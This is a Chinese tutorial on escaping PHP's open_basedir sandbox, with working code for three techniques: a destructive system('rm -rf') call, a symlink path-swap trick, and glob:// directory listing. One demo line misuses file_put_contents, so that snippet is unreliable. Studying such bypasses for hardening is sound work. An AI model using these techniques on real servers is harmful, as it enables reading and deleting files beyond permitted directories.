PHP绕过open_basedir限制操作文件的方法


Posted in PHP onJune 10, 2018

0x00 预备知识

关于open_basedir

open_basedir是php.ini中的一个配置选项

它可将用户访问文件的活动范围限制在指定的区域,

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

关于符号链接

符号链接又叫软链接,是一类特殊的文件,这个文件包含了另一个文件的路径名(绝对路径或者相对路径)。

路径可以是任意文件或目录,可以链接不同文件系统的文件。在对符号文件进行读或写操作的时候,系统会自动把该操作转换为对源文件的操作,但删除链接文件时,系统仅仅删除链接文件,而不删除源文件本身。

0x01 命令执行函数

由于open_basedir的设置对system等命令执行函数是无效的,所以我们可以使用命令执行函数来访问限制目录。

我们首先创建一个目录

/home/puret/test/

且在该目录下新建一个1.txt 内容为abc

nano 1.txt

再在该目录下创建一个目录命名为b

mkdir b

并且在该目录下创建一个1.php文件内容为

<?php
  echo file_get_contents("../1.txt");
?>

且在php.ini中设置好我们的open_basedir

open_basedir = /home/puret/test/b/

我们尝试执行1.php看看open_basedir是否会限制我们的访问

执行效果如图

PHP绕过open_basedir限制操作文件的方法

很明显我们无法直接读取open_basedir所规定以外的目录文件。

接下来我们用system函数尝试绕open_basedir的限制来删除1.txt

编辑1.php为

<?php
 system("rm -rf ../1.txt");
?>

先来看看执行1.php之前的文件情况

PHP绕过open_basedir限制操作文件的方法

执行1.php之后

PHP绕过open_basedir限制操作文件的方法

成功通过命令执行函数绕过open_basedir来删除文件。
由于命令执行函数一般都会被限制在disable_function当中,所以我们需要寻找其他的途径来绕过限制。

0x02 symlink()函数

我们先来了解一下symlink函数

bool symlink ( string $target , string $link )

symlink函数将建立一个指向target的名为link的符号链接,当然一般情况下这个target是受限于open_basedir的。
由于早期的symlink不支持windows,我的测试环境就放在Linux下了。

测试的PHP版本是5.3.0,其他的版本大家自测吧。

在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。

我们首先在/var/www/html/1.php中 编辑1.php的内容为

<?php
  mkdir("c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
?>

接着在/var/www/中新建一个1.txt文件内容为

"abc"

再来设置一下我们的open_basedir

open_basedir = /var/www/html/

在html目录下编辑一个php脚本检验一下open_basedir

<?php
   file_get_contents("../1.txt");
?>

执行看下。

PHP绕过open_basedir限制操作文件的方法

意料之中,文件无法访问。

我们执行刚才写好的脚本,1.php

PHP绕过open_basedir限制操作文件的方法

可以看到成功读取到了1.txt的文件内容,逃脱了open_basedir的限制

问题的关键就在于

symlink("tmplink/../../1.txt","exploit");

此时tmplink还是一个符号链接文件,它指向的路径是c/d,因此exploit指向的路径就变成了

c/d/../../1.txt

由于这个路径在open_basedir的范围之内所以exploit成功建立了。

之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹,这时exploit所指向的路径为

tmplink/../../

PHP绕过open_basedir限制操作文件的方法

由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/

然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容

当然,针对symlink()只需要将它放入disable_function即可解决问题,所以我们需要寻求更多的方法。

0x03 glob伪协议

glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议,由于它在筛选目录时是不受open_basedir的制约的,所以我们可以利用它来绕过限制,我们新建一个目录在/var/www/下命名为test

并且在/var/www/html/下新建t.php内容为

<?php
  $a = "glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
?>

执行结果如图:

PHP绕过open_basedir限制操作文件的方法

成功躲过open_basedir的限制读取到了文件。

PHP 相关文章推荐
PHP中上传大体积文件时需要的设置
Oct 09 PHP
PHP XML error parsing SOAP payload on line 1
Jun 17 PHP
PHP的cURL库功能简介 抓取网页、POST数据及其他
Apr 07 PHP
smarty模板中使用get、post、request、cookies、session变量的方法
Apr 24 PHP
php防止恶意刷新与刷票的方法
Nov 21 PHP
基于PHP实现假装商品限时抢购繁忙的效果
Oct 16 PHP
Yii的Srbac插件用法详解
Jul 14 PHP
Yii2基于Ajax自动获取表单数据的方法
Aug 10 PHP
Zend Framework实现自定义过滤器的方法
Dec 09 PHP
PHP Socket网络操作类定义与用法示例
Aug 30 PHP
PHP基于redis计数器类定义与用法示例
Feb 08 PHP
PHP whois查询类定义与用法示例
Apr 03 PHP
PHPMailer ThinkPHP实现自动发送邮件功能
Jun 10 #PHP
PHP实现从PostgreSQL数据库检索数据分页显示及根据条件查找数据示例
Jun 09 #PHP
PHP实现二维数组中的查找算法小结
Jun 09 #PHP
PHP实现链表的定义与反转功能示例
Jun 09 #PHP
thinkPHP框架实现的无限回复评论功能示例
Jun 09 #PHP
ThinkPHP5框架实现简单的批量查询功能示例
Jun 07 #PHP
PHP 实现手机端APP支付宝支付功能
Jun 07 #PHP
You might like
咖啡历史、消费和行业趋势
2021/03/03 咖啡文化
用文本文件制作留言板提示(下)
2006/10/09 PHP
php通过rmdir删除目录的简单用法
2015/03/18 PHP
PHP脚本监控Nginx 502错误并自动重启php-fpm
2015/05/13 PHP
php读取der格式证书乱码解决方法
2015/06/22 PHP
php中文字符串截取多种方法汇总
2016/10/06 PHP
解决laravel-admin 自己新建页面里 js 需要刷新一次的问题
2019/10/03 PHP
使用jQuery简化Ajax开发 Ajax开发入门
2009/10/14 Javascript
锋利的jQuery 要点归纳(一) jQuery选择器
2010/03/21 Javascript
浅析js设置控件的readonly与enabled属性问题
2013/12/25 Javascript
JS清除选择内容的方法
2015/01/29 Javascript
JS+CSS实现自动改变切换方向图片幻灯切换效果的方法
2015/03/02 Javascript
详解JavaScript设计模式开发中的桥接模式使用
2016/05/18 Javascript
使用ionic(选项卡栏tab) icon(图标) ionic上拉菜单(ActionSheet) 实现通讯录界面切换实例代码
2017/10/20 Javascript
基于JSONP原理解析(推荐)
2017/12/04 Javascript
jquery实现左右轮播切换效果
2018/01/01 jQuery
Vue组件系列开发之模态框
2019/04/18 Javascript
微信小程序用户授权,以及判断登录是否过期的方法
2019/05/10 Javascript
Vue表单绑定的实例代码(单选按钮,选择框(单选时,多选时,用 v-for 渲染的动态选项)
2019/05/13 Javascript
javascript canvas检测小球碰撞
2020/04/17 Javascript
python解决字典中的值是列表问题的方法
2013/03/04 Python
python线程锁(thread)学习示例
2013/12/04 Python
Flask框架学习笔记(一)安装篇(windows安装与centos安装)
2014/06/25 Python
Python读取word文本操作详解
2018/01/22 Python
selenium+python实现自动化登录的方法
2018/09/04 Python
python批量下载网站马拉松照片的完整步骤
2018/12/05 Python
详解pycharm连接不上mysql数据库的解决办法
2020/01/10 Python
美国最大的宠物用品零售商:PetSmart
2016/11/14 全球购物
MYPROTEIN澳大利亚官方网站:欧洲运动营养品牌
2019/06/26 全球购物
美国鲜花递送:UrbanStems
2021/01/04 全球购物
防沙治沙典型材料
2014/05/07 职场文书
80后婚前协议书范本
2014/10/24 职场文书
消防宣传语大全
2015/07/13 职场文书
给领导敬酒词
2015/08/12 职场文书
Jsonp劫持学习
2021/04/01 PHP
ORACLE数据库对long类型字段进行模糊匹配的解决思路
2021/04/07 Oracle